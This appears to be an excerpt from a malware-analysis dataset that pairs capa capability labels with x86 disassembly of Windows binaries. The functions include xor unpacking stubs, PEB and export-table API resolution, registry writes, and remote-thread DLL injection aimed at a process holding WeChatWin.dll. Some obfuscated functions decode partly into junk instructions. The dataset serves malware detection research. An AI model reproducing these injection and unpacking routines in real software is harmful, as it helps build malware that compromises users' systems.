joyce8/EMBER2024-capa huggingface dataset:
Function at 0x3f36e8f2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x3f36e901
pop dword [ebp - 0x28]
mov eax, 0x3f36e901
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x452d8
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x9f4e914d
add ecx, 0x60b1b98a
xor edi, edi
add edi, eax
mov ebx, 0xd699cbe3
sub ebx, 0x97599be3
add ebx, dword [ebp - 0x28]
mov esi, 0xebc7e87b
sub esi, 0x622c3119
mov edx, dword [ebx]
mov dword [ebp - 0x18], 0xca4ef23d
xor edx, esi
mov dword [ebp - 0xc], 0x5ef73443
mov dword [edi], edx
add dword [ebp - 0xc], esi
add edi, 0x8d2aa48c
add edi, 0x72d55b78
add ebx, 4
loop 0x3f36e958
add eax, 0x71e00ca9
sub eax, 0x71deee7a
mov ebx, eax
add eax, 5
mov ecx, 0x7f2b8879
add ecx, 0xbfe47787
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x3f3845bf
Capabilities:
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x6c]
sub esp, 0x110
push esi
push edi
push dword [ebp + 0x7c]
xor esi, esi
push dword [ebp + 0x78]
mov dword [ebp + 0x64], ecx
mov dword [ebp + 0x68], esi
call fcn.3f36e8f2
mov edi, eax
cmp edi, esi
je 0x3f384696
push 0x80
lea eax, [ebp - 0x20]
push eax
push 0xc
push dword [0x3f3a32c0]
call dword [sym.imp.user32.dll_LoadStringA]
test eax, eax
jle 0x3f38468f
mov ecx, dword [ebp + 0x64]
push ebx
push dword [ebp + 0x78]
call fcn.3f38958d
push esi
push esi
mov ebx, eax
push 0x81
lea eax, [ebp - 0xa4]
push eax
push ebx
call fcn.3f390cad
pop ecx
inc eax
push eax
push ebx
push esi
push esi
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
lea eax, [ebp - 0xa4]
push eax
call dword [sym.imp.kernel32.dll_lstrlenA]
push eax
lea eax, [ebp - 0xa4]
push eax
push 1
push esi
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
pop ebx
jne 0x3f38468f
push 0x80
lea eax, [ebp - 0x20]
push eax
push 0xd
push dword [0x3f3a32c0]
call dword [sym.imp.user32.dll_LoadStringA]
test eax, eax
jle 0x3f38468f
mov ecx, dword [ebp + 0x64]
lea eax, [ebp - 0x20]
push eax
push edi
push dword [ebp + 0x78]
push dword [ebp + 0x74]
call fcn.3f36e8f2
mov dword [ebp + 0x68], eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp + 0x68]
pop edi
pop esi
add ebp, 0x6c
leave
ret 0xc
Function at 0x3f38cf7e
Capabilities:
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x64]
sub esp, 0x200
push ebx
push esi
push edi
push 0x80
lea eax, [ebp - 0x9c]
push eax
push dword [ebp + 0x6c]
call dword [sym.imp.ole32.dll_StringFromGUID2]
xor ebx, ebx
push ebx
push ebx
push 0x40
lea eax, [ebp - 0x1c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x9c]
push eax
push ebx
push ebx
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
mov esi, 0x3f2ff05c
lea edi, [ebp + 0x24]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x1c]
movsb byte es:[edi], byte [esi]
mov edx, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x3f38cfcd
lea edi, [ebp + 0x24]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x3f38cfda
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 0x74]
cmp edi, ebx
mov esi, 0x3f2ff054
je 0x3f38d015
push dword [ebp + 0x70]
mov eax, edi
push ebx
call fcn.3f36e8f2
lea eax, [ebp - 0x1c]
push eax
push esi
mov eax, edi
call fcn.3f36e8f2
mov eax, dword [ebp + 0x78]
cmp eax, ebx
je 0x3f38d040
push dword [ebp + 0x70]
push ebx
call fcn.3f36e8f2
mov eax, dword [ebp + 0x78]
push edi
push 0x3f2ff04c
call fcn.3f36e8f2
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp + 0x78]
push esi
call fcn.3f36e8f2
push dword [ebp + 0x70]
lea eax, [ebp + 0x24]
push ebx
call fcn.3f36e8f2
cmp edi, ebx
je 0x3f38d05e
push edi
push 0x3f2ff044
lea eax, [ebp + 0x24]
call fcn.3f36e8f2
cmp dword [ebp + 0x78], ebx
je 0x3f38d073
push dword [ebp + 0x78]
lea eax, [ebp + 0x24]
push 0x3f2ff028
call fcn.3f36e8f2
push ebx
push 0x3f2ff018
lea eax, [ebp + 0x24]
call fcn.3f36e8f2
push dword [ebp + 0x7c]
mov esi, 0x3f2ff008
push esi
lea eax, [ebp + 0x24]
call fcn.3f36e8f2
push esi
lea eax, [ebp + 0x24]
push eax
lea eax, [ebp - 0x19c]
push 0x3f2ff000
push eax
call fcn.3f36e8f2
add esp, 0x10
push ebx
lea eax, [ebp + 0x78]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
lea eax, [ebp - 0x19c]
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x3f38d0ff
mov esi, 0x3f2feff4
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x3f38d0d9
sub eax, edx
inc eax
push eax
push esi
push 1
push ebx
push 0x3f2fefe4
push dword [ebp + 0x78]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
add ebp, 0x64
leave
ret 0x14
Function at 0x10081d31
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
xor edx, edx
mov ecx, 0x811c9dc5
cmp dword [ebp + 0xc], edx
jbe 0x10081d59
push esi
mov esi, dword [ebp + 8]
movzx eax, byte [edx + esi]
xor eax, ecx
imul ecx, eax, 0x1000193
inc edx
cmp edx, dword [ebp + 0xc]
jb 0x10081d46
pop esi
mov eax, ecx
pop ebp
ret

Function at 0x100909b0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x100909ee
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x100909e6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x100909f0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x100909d6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x10090ac0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x10090ad6
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x10090af1
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x100a7442
Capabilities:
Encode data using xor

Disassembly:
call 0x100a73bb
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x100a73eb
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x100a7407
xor edx, 0
jmp 0x100a7412
xor edx, edx
jmp 0x100a7429
jmp 0x100a7435
xor eax, eax
push 0x8427d7c0
call 0x100a7442
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x100a747e
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x100a7457
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x100a7495
add eax, 0
jno 0x100a749a
add esi, 0
ret 0x10
Function at 0x100a8203
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x100a8225
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x100a83c7
cmp edi, dword [ebp + 0x10]
jb 0x100a83c7
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.100a7cef
inc edi
jmp 0x100a82ae
jmp 0x100a82bb
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.100a7cef
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.100a7cef
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x100a830f
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x100a82f3
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.100a833d
add dword [eax], 0x39
jle 0x100a8319
sub al, 0xf5
mov ch, al
call fcn.100a8352
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x100aa02a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x100aa040
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x100aa051
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.100aa092
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx
Function at 0x100ac3fe
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x100ac347
add ebx, 0
push ecx
call 0x100ac35c
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x6c8d73d9
sub ebx, dword [0x6c8f6c18]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x6c8f6c08
call fcn.100a7e26
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.100a7334
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x100ac4ba
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x100ac4ba
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x100ac471
mov eax, 1
lock xchg dword [0x6c8f6c14], eax
push 0x3dd1fc71
call 0x100ac3fe
push esi
add esp, 8
cmp eax, 0
jne 0x100ac3e7
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x100ac40d
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x100ac422
cmp ecx, edx
cmp eax, 0
je 0x100ac447
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x100ac431
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.100ac460
dec eax
loope 0x100ac463
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x6c8f6c14], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x100ac497
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x100ac4ac
jmp 0x100ac4b7
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x100ac3a5
Function at 0x100b351f
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x100b37f5
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x6c8e388c
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x6c8da852
push 0xffffffffffffffff
call fcn.100aa71f
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x100b3589
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.100b35a1
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x100b37e9
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x100b37bd
Function at 0x100c2fef
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x100c3011
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x100c3011
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x100c3011
ret
cmp word [ebx + 4], 0x14c
jne 0x100c3011
test word [ebx + 0x16], 2
je 0x100c3011
test word [ebx + 0x16], 0x100
je 0x100c3011
cmp word [ebx + 0x18], 0x10b
jne 0x100c3011
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x100c3011
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x100c309d
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x100c3031
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.100a9f7c
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x100c3011
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x100c309d
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x100c3011
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x100c3011
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x100c3011
ret
cmp word [ebx + 4], 0x14c
jne 0x100c3011
test word [ebx + 0x16], 2
je 0x100c3011
test word [ebx + 0x16], 0x100
je 0x100c3011
cmp word [ebx + 0x18], 0x10b
jne 0x100c3011
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x100c3011
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x100c309d
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x100c3031
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.100a9f7c
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x100c3011
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x100c3154
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100c31ad
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x100c3154
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x100c3163
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x104c8e06
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100c31b4
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.100aa02a
cmp eax, dword [ebp + 0xc]
pop eax
je 0x100c3253
add edi, 4
add eax, 2
dec ecx
jne 0x100c3199
call 0x100c3200
loope 0x100c31f6
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x100c3250
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x100c3261
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x100c3214
cmp eax, ecx
ja 0x100c3214
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100c329e
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100c3294
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.100aa509
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x100c3163
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100c31ad
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x100c3154
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x100c3163
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x104c8e06
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100c31b4
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.100aa02a
cmp eax, dword [ebp + 0xc]
pop eax
je 0x100c3253
add edi, 4
add eax, 2
dec ecx
jne 0x100c3199
call 0x100c3200
loope 0x100c31f6
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x100c3250
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x100c3261
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x100c3214
cmp eax, ecx
ja 0x100c3214
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100c329e
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100c3294
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.100aa509
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x4010d0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Print debug messages
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x433050]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov esi, ecx
call fcn.004083f0
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x40110d
push 0x42f81c
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x4011ee
push 0x40
push 0x1000
push 0x104
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
jne 0x40113a
push 0x42f830
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor esi, esi
jmp 0x4011ee
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 8]
push ecx
push 0x104
lea eax, [ebp + 8]
mov dword [ebp - 8], 0
cmovae eax, dword [ebp + 8]
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x401171
push 0x42f850
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor esi, esi
jmp 0x4011ee
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x40118f
push 0x42f86c
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor esi, esi
jmp 0x4011ee
push str.LoadLibraryA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x4011ae
push 0x42f894
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor esi, esi
jmp 0x4011ee
push 0
push 0
push edi
push eax
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
test edi, edi
jne 0x4011d4
push 0x42f8ac
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor esi, esi
jmp 0x4011ee
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
mov esi, 1
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x40121e
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401214
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401230
push edx
push ecx
call fcn.00409872
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.00409864
mov esp, ebp
pop ebp
ret
call fcn.0040dcff
int3
Function at 0x401240
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
push esi
cmovae eax, dword [ebp + 8]
mov esi, ecx
push edi
push eax
push 0x200
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
test eax, eax
je 0x4012b6
push 0x200
push 0
push 0
push 0xf001f
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
test edi, edi
je 0x4012b6
mov ecx, edi
sub ecx, esi
nop dword [eax]
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x401290
push 0x42f8bc
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, 1
jmp 0x4012b8
xor esi, esi
mov edx, dword [ebp + 0x1c]
cmp edx, 8
jb 0x4012ee
mov ecx, dword [ebp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4012e4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4012f4
push edx
push ecx
call fcn.00409872
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebp
ret
call fcn.0040dcff
int3

Function at 0x4013b0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x434
mov eax, dword [0x433050]
xor eax, esp
mov dword [esp + 0x430], eax
push ebx
push esi
push edi
push ecx
push 0x18
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x401428
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x428
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32FirstW]
test eax, eax
je 0x401428
mov edi, dword [sym.imp.KERNEL32.dll_Module32NextW]
nop dword [eax]
lea eax, [esp + 0x30]
push str.WeChatWin.dll
push eax
call fcn.0040de5f
add esp, 8
test eax, eax
je 0x401424
lea eax, [esp + 0x10]
push eax
push esi
call edi
test eax, eax
jne 0x401400
jmp 0x401428
mov ebx, dword [esp + 0x24]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x43c]
mov eax, ebx
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00409864
mov esp, ebp
pop ebp
ret